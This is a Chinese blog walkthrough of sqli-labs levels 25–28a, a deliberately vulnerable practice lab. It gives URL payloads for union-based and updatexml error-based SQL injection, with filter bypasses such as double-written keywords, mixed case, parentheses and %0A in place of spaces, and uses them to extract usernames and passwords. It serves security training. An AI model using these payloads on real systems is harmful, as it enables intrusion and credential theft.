sqli-labs-master 25-28关

数据库名

http://127.0.0.1/sqli-labs-master/Less-25/?id=-1%27%20union%20select%201,2,database()--+

 

5ef19c0fc0a00436bc6621136beae5ce.png

表名

127.0.0.1/sqli-labs-master/Less-25/?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_scchema=database() --+

 

5a5c36001519c0ff09a653fb9fbe932d.png

sqli-labs第25a关

与25题相似,将’去掉就行,因为它是数字型注入

直接爆数据

http://127.0.0.1/sqli-labs-master/Less-25a/?id=-1%20union%20select%201,2,group_concat(table_name)%20from%20infoorrmation_schema.tables%20where%20table_schema=database()%20--+

 

a85be79930e697e0985c50bf6c77f81a.png

sqli-labs第26关

过滤字符:逻辑运算符,注释符,空格

我们需要用单引号进行绕过,双写绕过逻辑运算符(and,or)或用&&和||替换

对于绕过空格,%09之类的不能绕过,可能因为apache解析的原因,所以只能使用()绕过

因此我们使用空格最少的报错注入最为合适

爆数据库表

?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))||'0

 

2ca825e85c579768c5ad27bf07588c64.png

爆字段名

?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))||'0 

 

3b493c8b5777f75def0e2f175276d948.png

爆数据

?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,username))from(users))),1))||'0 

 

d08213b0d2a18e9679a369fd7cd6949a.png

sqli-labs第26a关

爆数据库名

?id=1' aandnd(substr(database(),1,1)='0')anandd'1'='1

 

3257c6ce699a9df42ad37147b04f9bfe.png

sqli-labs第27关

本关依旧过滤了空格,但没有过滤运算符,题目提示过滤了SELECT和UNION,我们可以通过双写或大小写来进行绕过,因为过滤了空格,所以本题依旧使用报错注入

 

e33c45cf4d5b89b6028adf311320ee22.png

爆数据库表

?id=1'||(updatexml(1,concat(0x7e,(SeLecT(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))),1))||'0

 

8fc82b057866e2215013f7067c57bb26.png

爆字段名

?id=1'||(updatexml(1,concat(0x7e,(SeLecT(group_concat(column_name))from(information_schema.columns)where(table_schema='security'and(table_name='users')))),1))||'0 

 

5e43ec6b7ac77f281b798f5b259371ba.png

爆数据

?id=1'||(updatexml(1,concat(0x7e,(SelEct(group_concat(password,username))from(users))),1))||'0 

 

bbd015cb1c015669485599ac9e37d2ec.png

sqli-labs第27a关

页面无明显报错回显,且过滤了空格,我们尝试使用联合查询

 

b80c1da3aae24427ebfcb39bb805b6d1.png

爆列名

?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand"1

 

530bd3eb10afd1e493179bff9f9d3a84.png

爆数据

?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(password,id,username)from%0Ausers%0Awhere%0Aid=3%0Aand"1

 

e2885beb8434c9955b323178c3ace869.png

sqli-labs第28关

根据本题提示,页面回显分析得到,本题过滤了空格,union,select,且空格被多次过滤

 

555dc3769b5c9390e7767d4f61928b66.png

我们在再去看看是如何过滤union和select的,直接看源码吧

 

94ae8592efd6ffb1a41e68823e188900.png

示空格,+表示匹配一次或多次,/i表示不区分大小写,所以整体表示匹配 union加一个或多个空格加select,其中union和select不区分大小。所以我们可以使用重写绕过写。

爆表名

?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'and ('1

 

9f5fcfbb397e4769773ef31936586148.png

爆列名

 ?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand('1

 

0e15e91d6aa1a4f251156f0ef56147b7.png

爆数据

?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(password,username)from%0Ausers%0Aand%0A('1

sqli-labs-master28a

发现此关没有过滤其他只过滤了union和select和+,#

 

e9e098e58e2b471eae3742d42a23b5c3.png

爆表名

?id=0')uniunion selecton select 1,2,group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'--+

 

fa1fe3159ecf0367a8992a2a98d9e122.png

 

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值